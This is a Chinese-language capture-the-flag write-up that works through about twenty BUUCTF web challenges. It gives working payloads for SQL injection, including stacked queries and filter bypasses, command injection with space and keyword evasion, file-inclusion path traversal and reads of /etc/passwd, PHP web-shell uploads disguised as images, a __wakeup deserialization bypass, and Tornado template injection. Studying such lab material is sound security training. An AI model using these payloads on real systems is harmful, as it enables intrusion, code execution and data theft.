BUUCTF-Web系列-01-21
[极客大挑战 2019]EasySQL 1
访问靶机地址,发现如下页面,在登录框中的用户名输入admin
,密码输入admin
提示密码错误。
由于题目给的提示是sql注入,这里尝试在用户名处构造 sql 注入语句,admin' or sleep(2) #
发现页面延时 N 秒,当构造 admin' or sleep(0) #
的时候,页面并没有延时,因此此处是存在 sql 注入的。
最终构造万能密码 admin' or 1=1 #
得到FLAG。
[极客大挑战 2019]Havefun 1
访问靶机网址,出现如下页面。
右键查看源代码看到注释的PHP代码。
代码的逻辑是接收通过 GET 请求传入的 cat
参数,当 cat
参数的值为 dog
的时候会输出一段信息,我们这里尝试传入
[HCTF 2018]WarmUp 1
访问靶机网址,出现如下页面。
右键查看源代码,发现注释信息 source.php
,尝试访问该文件,得到如下 PHP 源码。
1 |
|
以上功能实现的功能就是通过接收 file
参数,实现文件包含的功能,但是 file
参数的值经过 emmm
类下的 checkFile
函数进行检验。
1 |
|
这里我们来看checkFile
函数的代码,我们的目的是需要 checkFile
函数返回 true
,所以我们要逐个分析 checkFile
函数中的每个 if
判断。
第一个 if 判断:
1 | # 定义白名单 |
第二个 if 判断:
1 | # file的值需要是 $whiltlist 白名单所定义的 |
第三个 if 判断:
1 | # 对 file 参数的值截取并赋值给$_page 功能: 例如 file=index.php $_page的结果就为index.php |
mb_substr(): 获取部分字符串
参数 | 说明 |
---|---|
string | 从 string 字符串提取子字符串 |
start | 提取子字符串的位置 |
length | 提取子字符串的长度 |
mb_substr() 函数示例:
1 |
|
mb_strpos(): 查找字符串在另一个字符串中首次出现的位置
参数 | 说明 |
---|---|
haystack | 要被查找的字符串 |
needle | 在 haystack 中查看这个字符串 |
mb_strpos() 函数示例:
1 |
|
第三个 if 判断:
1 | # 对file参数的内容进行解码赋值给$_page 其他的逻辑跟第二个if判断一致。 |
这里我们通过审计代码得知,这里可以包含 source.php
和 hint.php
文件,那么我们先尝试包含 hint.php
文件。
告诉我们 flag 在 ffffllllaaaagggg
文件中。
如果我们为 file 参数传入 file=source.php?../../../../../../../../../ffffllllaaaagggg
即可包含到ffffllllaaaagggg
文件当中。
这里能包含的原因是因为,当我们 file 的值为 source.php?../../../../../../../../../ffffllllaaaagggg
经过如下代码之后的结果如下:
1 | # file=source.php?../../../../../../../../../ffffllllaaaagggg |
最终可以读取到 ffffllllaaaagggg
文件的内容。
[ACTF2020 新生赛]Include 1
访问靶机地址,看到如下页面:
点击 tips
跳转到如下页面,并观察 url 以及题目的名称,猜测是文件包含。
这里传入了 file=flag.php
,显示的 Can you find out the flag? 应该是flag.php的文件内容,这里我们访问 flag.php 发现内容一致。
这里尝试包含/etc/passwd
文件,发现成功包含。
那么后端 index.php
文件的核心代码大概为:
1 |
|
当我们点击 tips
的时候,发现传入了 file=flag.php
,由于 flag.php
是PHP文件,我们如果使用正常文件包含无法读取到其内容,需要使用 PHP 的 filter
协议。
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
对以上内容进行 base64
解码即可得到 flag.php
文件的内容。
[ACTF2020 新生赛]Exec 1
访问靶机地址,得到如下页面:
这里直接使用命令拼接符 ;
即可执行任意命令。
得到 FLAG。
[GXYCTF2019]Ping 1
访问靶机页面,看到如下内容,这里让传入 ip 参数。
使用命令拼接符 ;
即可执行 ls
命令,发现存在 flag.php
文件。
尝试使用 ;tac flag.php
读取该文件的内容,发现提示不能有空格。
过滤空格可以使用如下方法代替:
方法 |
---|
$IFS$1 |
$IFS |
${IFS} |
{cat,1.txt} |
%09 |
cat<flag.txt |
cat<>flag.txt |
接着提示不能有flag关键字。
那么过滤FLAG我们可以使用如下方法绕过:
方法 | 说明 |
---|---|
fl* |
* 表示任意长度的任意字符 |
fl? |
? 表示一个长度的任意字符 |
fl[a-c]g |
[a-z] 表示一个长度的a-z之间的字符 |
当我们传入 ?ip=127.0.0.1;tac$IFS$1fla?.php
提示不能有符号,以上三种方法都不能用。
尝试为使用变量代替(PS: 因为Linux系统是支持给变量赋值并且使用变量的):
1 | ;a=g;tac$IFS$1fla$a.php |
得到 FLAG。
[强网杯 2019]随便注 1
fuzz
通过如下 payload 得知,该sql语句通过单引号进行闭合。
1 | 1' and 1=1# 有结果 |
由于页面展示所查询出来的数据,故而先尝试使用联合查询注入。先获取字段数
1 | 1' order by 3# 提示 未知的列3 |
通过以上状态得知,当前 sql 语句所查询的字段数为 2 个。
接着通过 union 注入 尝试获取数据
1 | 1' union select 1,2 # |
页面提示:
得知 select
、update
、delete
、drop
、insert
、where
、以及.
被过滤,并且使用了修饰符i
(不区分大小写进行过滤)。
经过尝试,无法绕过。
再次传入如下 payload :
1 | 1' |
页面发生报错,这里可以尝试报错注入获取当前数据库名、当前数据库版本、以及当前用户名。其他的无法获取,因为关键字被过滤。
1 | 1' or extractvalue(0x7e,concat(0x7e,(version())))# 获取数据库版本 |
由于这里过滤了 update
因此 updatexml
无法使用。
前置知识
所谓堆叠注入就是指 mysql 程序执行语句是通过;
结束的,因此一行中其实是可以执行多条sql语句的,在 mysql 程序当中。
1 | mysql> select user();select version(); |
但是想通过 php
利用 ;
执行多条 sql语句,是需要使用到 mysqli_multi_query()
函数 或 mysqli->multi_query()
函数的。
堆叠注入
这里我们尝试传入如下 payload,列出所有库名:
1 | 1';show databases# |
尝试获取当前库下的所有表:
1 | 1';show tables# |
发现存在表1919810931114514
和 words
,分别查看其字段:
查看 1919810931114514 表中的字段:
1 | 1';desc `1919810931114514`# |
发现 1919810931114514 表中存在 flag 字段。
查数据
接下来我们要执行的语句就是:
1 | select flag from 1919810931114514 |
但是这里 select
关键字别过滤,无法通过常规的手法进行 bypass,需要使用预编译的形式进行绕过。
所谓预编译就是事先准备一个 sql模板,接着对其进行传参。
预编译执行sql语句示例:
1 | # 准备预编译模板名为 sqltpl 执行的语句为 select * from users where id=? 其中?为占位符 |
由于预编译语句前期构造模板的语句,是字符串形式,因此我们可以通过concat()
函数拼接select
,以达到绕过对select
关键字的检测,如下:
1 | mysql> set @sql=concat('se','lect flag from `1919810931114514`'); |
接着将该 sql语句 带入到模板中即可。
构造 payload:
1 | 1'; set @sql=concat('se','lect flag from `1919810931114514`');prepare sqltpl from @sql;execute sqltpl# |
拆分就是如下:
1 | 1'; |
页面提示如下代码,使用strstr
检测了 set
和 prepare
关键字,使用大小写即可绕过。
再次构造:
1 | 1'; Set @sql=concat('se','lect flag from `1919810931114514`');Prepare sqltpl from @sql;execute sqltpl# |
其他方法
由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
1 | select * from words where id = ''; |
我们将表 1919810931114514 名字改为 words,flag 列名字改为 id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
1 | 修改表名(将表名user改为users) |
最终PAYLOAD如下:
1 | 1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# |
然后使用1' or 1=1#
即可查询出 flag
题目源码
1 | <html> |
docker 地址:https://github.com/glzjin/qwb_2019_supersqli/tree/master
[SUCTF 2019]EasySQL 1
fuzz
输入 1
或 任意一个非0数字 页面打印一个数组
尝试进行闭合:
1 | 1' and 1=1 # |
页面提示 Nonono.
猜测有过滤。
解法一
看了WP之后,才发现还有这种玩法,以下是题目的关键 SQL 语句:
1 | $sql = "select {$_POST['query']} || flag from Flag"; |
在本地进行测试:
1 | mysql> select 1 || flag from flag; |
这里使用 or
运算符,mysql 的 or
运算符跟编程语言的 or
运算符 略微有所不同。
“||”或者“OR”表示“或”运算。所有数据中存在任何一个数据为非0的数字时,结果返回1;如果数据中不包含非0的数字,但包含NULL时,结果返回NULL;如果操作数中只有0时,结果返回0。“或”运算符“||”可以同时操作多个数据。
这也是为什么如上结果返回 1
的原因。
最终传入 *,1
即可得到FLAG,因为 *
表示查询所有字段。本地测试:
1 | mysql> select *,1 || flag from flag; |
解法二 堆叠注入
构造如下PYALOD 获取当前库下的所有库名:
1 | 1;show tables; |
发现存在FLAG表,但是不能直接查询。因为后端过滤了 select
关键字,这里可以修改sql_mode
的值,将原本的管道符 ||
or 运算符,作为拼接符(类似于concat)。
示例:
1 | mysql> select 1||2; |
构造PAYLOAD:
1 | 1;set sql_mode=PIPES_AS_CONCAT;select 1 |
整个 SQL 语句为:
1 | select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from Flag |
类似于:
1 | select 1; select concat(1,`flag`) from Flag |
题目docker镜像:
https://github.com/glzjin/suctf_2019_easysql/tree/master
[极客大挑战 2019]Secret File 1
访问靶机地址,出现如下页面:
右键查看源代码,得到隐藏的URL连接,点击链接。
或在页面中 ctrl + a
选择,之后点击
这里点击查阅,然后提示查阅结束,观察状态码发现是302跳转。
随机点击查阅的时候,使用 burp 进行抓包,并发到重发器中。
得到隐藏的文件 secr3t.php
,访问该页面,得到如下源码:
通过代码审计发现这里是一个文件包含,通过 GET 请求接收 file
参数,并使用 stristr()
对 file
参数的值进行检索,不能有../
和 tp
以及 input
和 data
关键字。页面又提示 flag 在 flag.php 里,因此使用php://filter
伪协议读取 flag.php
文件的内容即可。
将 Base64 编码解码即可得到 FLAG。
[极客大挑战 2019]LoveSQL 1
fuzz
在用户名处尝试万能用户名,密码随便输入:
1 | admin' or 1=1# |
登录成功,但是并没有得到 FLAG,猜测 FLAG 可能在数据库中。
继续在用户名处构造如下PAYLOAD:
1 | admin' |
页面发生报错,这里是存在报错注入的。
获取FLAG
构造PAYLOAD:
1 | # 获取当前库名 |
这里也是存在联合查询注入的:
1 | 123' union select 1,2,3# |
构造PAYLOAD获取当前库下所有表名:
1 | 123' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# |
构造PAYLOAD获取 l0ve1ysq1
的字段名
1 | 123' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' # |
构造PAYLOAD获取 l0ve1ysq1
的数据:
1 | 123' union select 1,group_concat(username,0x7e,password),3 from l0ve1ysq1 where username='flag'# |
[极客大挑战 2019]Http 1
访问靶机地址,出现如下页面:
查看页面源代码,得到隐藏文件 Secret.php
,访问即可:
页面提示 不是来自 某某网站,这里尝试在请求头加入: Referer: https://Sycsecret.buuoj.cn
接着让我们使用 Syclover" browser
浏览器。我们修改请求头中的 User-Agent
字段即可。
接着提示不是只有只能在本地阅读,这里加入 X-Forwarded-For: 127.0.0.1
[极客大挑战 2019]Knife 1
访问靶机地址,看到如下页面,直接给出了 webshell
的连接密码,菜刀或者蚁剑连接即可。
或手动进行利用:
[极客大挑战 2019]Upload 1
fuzz
由于是头像上传,这里尝试上传一个以 .jpg
结尾,但是文件内容为 <?php phpinfo();?>
的文件。
页面提示文件内容包含<?
,这里可以判断,对文件的内容进行了检查,不能带有 <?
。
这种过滤 <?
或 <?php
等关键字的时候一般可以通过如下方式进行绕过。
方法一:
1 | <script language="php">phpinfo();</script> |
方法一有个硬性条件,就是PHP版本需要 < PHP7,这里我们通过信息收集发现,该服务器的PHP版本为 PHP/5.5.9
方法二:
1 | phpinfo(); |
但是由于本道题过滤的是<?
因此方法二是被 pass 掉的。
扩展: 如果服务器的PHP程序开启了 asp 标签,可以使用如下代码绕过:
1 | <% phpinfo();%> |
这里我们尝试使用方法一,上传之后页面提示,说是假的图片。
尝试为图片加上 GIF 图片的文件头。GIF89a
:
再次进行上传,发现上传成功。
那么这里我们将文件名修改为 1.php
再尝试进行上传,提示不是图片。
在上传的数据中修改文件的 Content-Type
将其修改为图片的 MIME 类型。
接着提示 NOT!猜测 PHP 后缀应该是在黑名单当中
那么除了 php 后缀以外,还可以尝试 php3
、php4
、php5
、pht
、phtml
都可能会被解析。
最终尝试上传 .phtml
的文件成功上传。
但是上传的目录并没有给出,需要进行目录扫描
但是一般上传目录都是 upload
或 uploads
,本道题也不例外。
获取FLAG
新建一个名为 shell.phtml
的文件,其内容如下:
1 | GIF89a<script language="php">eval($_REQUEST['cmd']);</script> |
在上传的数据包中,将 Content-Type
修改为 image/png
即可。
接着使用蚁剑连接即可。
[ACTF2020 新生赛]Upload 1
fuzz
访问靶机地址,出现如下页面:
通过右键检查发现,这里在提交 form
表单的时候 执行了 checkFile
函数,当然这里是 js
的函数。
通过右键查看源代码发现,这里唯一引用了一个 js 文件,访问即可看到代码的逻辑。
先创建一个名为 1.jpg
内容为 <?php @eval($_REQUEST['cmd']);?>
的文件。接着将其进行上传,并使用 burp 进行抓包,再将后缀修改为 1.php
尝试进行绕过。
发现无法绕过,这里尝试将其修改为 1.jpg
,查看是否能上传成功:
发现上传成功,说明这里并没有对文件的内容进行检查,只是对后缀做了检查。
上传了一个非图片的文件,也上传成功了,那么说明这里是基于黑名单的后缀名过滤,只是不允许上传 .php
后缀的文件。
获取FLAG
上传 .phtml
的文件成功了,这里尝试进行访问:
成功利用,使用蚁剑连接即可。
[极客大挑战 2019]BabySQL 1
fuzz
访问靶机地址,出现如下页面:
尝试传入如下PAYLOAD:
1 | admin' or 1=1# |
页面发生报错:
通过观察报错语句,可以得知,这里对我们传入的 or
进行了剔除,尝试使用双写进行绕过:
1 | admin' oorr 1=1# |
成功登录,接着尝试构造(or
需要双写 以及 by
):
1 | admin' oorrder bbyy 4 # |
提示未知的列4,故而该查询语句有3个字段。
继续构造PAYLOAD(union
和 select
都需要双写):
1 | 123' ununionion seselectlect 1,2,3 # |
获取FLAG
构造 PAYLOAD 获取所有表名:
1 | 123' uniunionon seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()# |
构造 PAYLOAD 获取 geekuser 的所有字段:
1 | 123' uniunionon seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='geekuser'# |
构造 PAYLOAD 获取 geekuser 表的数据:
1 | 123' uniunionon seselectlect 1,group_concat(username,passwoorrd),3 frfromom geekuser# |
发现并没有FLAG,猜测可能在另外一张表中。
构造 PAYLOAD 获取 b4bsql 表的所有字段:
1 | 123' uniunionon seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'# |
构造 PAYLOAD 获取 b4bsql 表的FLAG
1 | 123' uniunionon seselectlect 1,group_concat(username,0x7e,passwoorrd),3 frfromom b4bsql whwhereere username='flag' # |
[极客大挑战 2019]PHP 1
前置知识 CVE-2016-7124
漏洞危害:当成员属性数目大于实际数目时可绕过wakeup
方法
版本限制:
PHP5: < 5.6.25
PHP7: < 7.0.10
漏洞演示:
详情:https://zhuanlan.zhihu.com/p/446857016
获取FLAG
根据页面的提示说有备份网站的习惯,猜测有备份文件,可能是index.php.bak
或 www.zip
以及 www.tgz
备份文件为 www.zip
。下载即可得到网页的源码,下载得到的 flag.php 文件中的FLAG是假的。
这里我们发现了 class.php
文件 以及 index.php
文件。
index.php 关键代码:
1 |
|
class.php 文件代码:
1 |
|
其实代码很简单,主要的PHP代码如下:
1 | public function __construct($username,$password){ |
我们需要 将username
的值设置为 admin
即可打印 FLAG,但是这里当我们在反序列化 Name
类的时候,会自动调用 __wakeup()
魔术方法,为其 username
重新赋值为 guest
。
我们的目的,就是不让wakeup
方法执行即可,构造如下POC:
1 |
|
由于 username
和 password
是私有属性,需要在其类名的前面加上%00,表示00字符。
1 | O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
接着就是需要绕过 wakeup
函数的执行,将属性长度从原来的 2
修改为 3
或其他大于2的值即可。
1 | O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
最终传入:
1 | ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
[ACTF2020 新生赛]BackupFile-1
根据题目名称可以得知,这里是个备份文件题目,直接尝试访问 index.php.bak
发现下载了该文件,文件内容如下:
1 |
|
通过审计代码得知,我们需要通过 GET 请求传入 key 参数,且该参数的值必须为数值。接着将 $key
转为整型与字符串 123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
做 == 匹配,由于PHP是弱类型语言,因此 int 类型 与 字符串类型 做 ==
匹配的时候,会先将字符串类型转为 int 类型,而字符串类型 123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
为123,因此我们传入 key=123
即可得到FLAG。
[RoarCTF 2019]Easy Calc-1
访问靶场出现如下页面:
右键查看源代码,发现一段JS代码和一段提示:
发现这里将我们输入的内容传给了 calc.php
文件,这里我们直接访问calc.php
得到如下源码:
通过审计源码可知,这里过滤了如下内容:
空格
TAB键
回车
单引号
双引号
反引号
左右中括号
美元符号
\
^
我们这里尝试传入 ?num=phpinfo();
,发现页面返回403,根据页面前面的提示,猜测可能是WAF过滤。
这里尝试在参数num
前面加上一个空格。绕过WAF的过滤,因为后端匹配的是num
,而不是空格num
。
由于这里过滤了单双引号。因此没办法使用函数加参数的形式。但是这里可以借助PHP的 chr()
函数,该函数可以将ASCII码转为对应的字符。
1 | var_dump(scandir(chr(47))); |
继续构造PAYLOAD,获取/f1agg
文件的内容。
1 | var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); |
[极客大挑战 2019]BuyFlag-1
访问靶机出现如下页面,在页面源代码中发现 PAYFLAG
页面,访问该页面:
访问之后的页面如下:
页面内容翻译后:
FLAG NEED YOUR 100000000 MONEY 译:FLAG 需要你的100000000美元
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!译:
如果您想购买FLAG:
你一定是中大的学生!!!
你必须回答正确的密码!!!
使用 burpsuite
抓取该页面,通过页面返回内容得到如下源码:
1 | // ~~~post money and password~~~ |
从源码中可以得知,这里需要通过POST请求传入参数 money
和 password
,根据代码审计可知,password
参数需要传入404a
。
至于 money
参数的值需要为 100000000,因为前面说过需要这个金钱来购买FLAG。同时需要将 Cookie
属性中的 user
值设置为 1
。
构造请求:
页面提示 数字的长度太长了,那么这里我们可以使用科学计数法的形式代替。比如1E2
。
但是页面提示钱少了,我们换成1E2000,就得到了FLAG。
[BJDCTF2020]Easy MD5-1
访问靶场,出现如下输入框,输入内容,并没有回显,于是这里通过 burpsuite
进行抓包。
在服务器的响应字段中,发现提示信息。如下:
这里前期在做的时候以为是SQL注入,尝试以下各种,但最终无果。
1 | 123) or sleep(5) %23 |
最后看了其他师傅WP才知道,这里的MD5函数是PHP的,而不是SQL语句中的MD5函数。我们查看PHP的官方文档,了解MD5函数。
通过查看PHP的官方手册得知,当md5函数的第二个参数为true
的时候,则MD5以原始二进制格式返回。例如:
我们输入的任何注入PAYLAOD,都先会被PHP的md5函数加密为MD5的原始二进制,因此无法达到利用的效果,但是如果我们输入的内容,刚好加密为带有 ' or '
这种闭合形式的呢。比如字符串 ffifdyop
的MD5二进制结果。
尝试传入ffifdyop
发现页面跳转至levels91.php
页面。这里我们访问该页面,之后右键查看源代码:
通过审计源码,这里是存在弱类型匹配的,我们可以传入?a[]=1&b[]=2
进行绕过,也可以使用?a=s878926199a&b=QNKCDZO
绕过。
接着跳转至如下页面:
由于这里用的是强等于,因此这里无法使用?a=s878926199a&b=QNKCDZO
进行绕过。只能为md5()函数传入数组,由于md5函数无法加密数组,因此会报错,返回NULL。
1 | param1[]=1¶m2[]=2 |
[护网杯 2018]easy_tornado-1
题目名称是 easy_tornado
,而 tornado
是Python的一个框架。
访问靶机一共出现了三个文件:
访问 flag.txt
提示:flag in /fllllllllllllag ,也就是说 flag 在根目录下的 fllllllllllllag 文件中。
访问 welcome.txt
提示:render
,他是 tornado
里面的渲染函数,就是对web网页界面进行编辑的函数,和template
的渲染是相似的,主要区别render
是以脚本的方式进行渲染,template是以html方式进行渲染。这个重点在于是服务器模板,基本可以确定这是ssti(服务器模板注入),服务器模板注入和sql注入等有相同性,问题的关键在于传参。
访问 hints.txt
提示md5(cookie_secret+md5(filename))
,这里我们可以得知,文件的hash由cookie_secret值+文件名的MD5值
我们打开每一个文件,发现URL中都有一个共同的特点,那就是同时传入了filename
和filehash
参数。
1 | # 访问flag.txt |
根据打开链接的url,里面有两个参数一个是filename,一个是filehash,也就是说 filename
是第一个文件的提示,filehash
是第三个文件的提示,那么问题就是如何获取cookie_secret
。
cookie_secret
不是通用的属性,也就可以确定,应该是存放在服务器模板中的值,问题就转化为通过传参获取cookie_secret
的值。
我们这里修改 filename
参数的值,将其修改为任意字符,比如我这里修改为 x1ong
,发现页面返回Error。
而返回 Error
的原因是不是由参数 msg
控制呢,我们尝试将参数 msg
的值修改为 x1ong
,发现页面返回 x1ong
,因此我们可以得知,这里可以通过参数msg
传入。
Templates and UI — Tornado 6.1 documentation这个链接是tornado的官方文档,一个是通过文档我们获知传参的类型,另外一个是找到cookie_secret的赋值方法。
在template syntax中
传递的参数值应为{{值}}
的格式。
在官方文档中搜索 cookie_secret
,cookie_secret
在tornado.web.RequestHandler
中的application
的settings
中,也就是需要传参RequestHandler.application.settings
,但是传过去提示500。
传入{{handler.settings}}
即可得到 cookie_secret。
最后将 cookie_secret 的值 加上 /fllllllllllllag 文件名的MD5值 最后整体再做一个MD5加密即可。
1 | md5(cookie_secret+md5(filename)) |
最终的PAYLOAD:
1 | file?filename=/fllllllllllllag&filehash=b916d345a879e09e95fad423dae6d84e |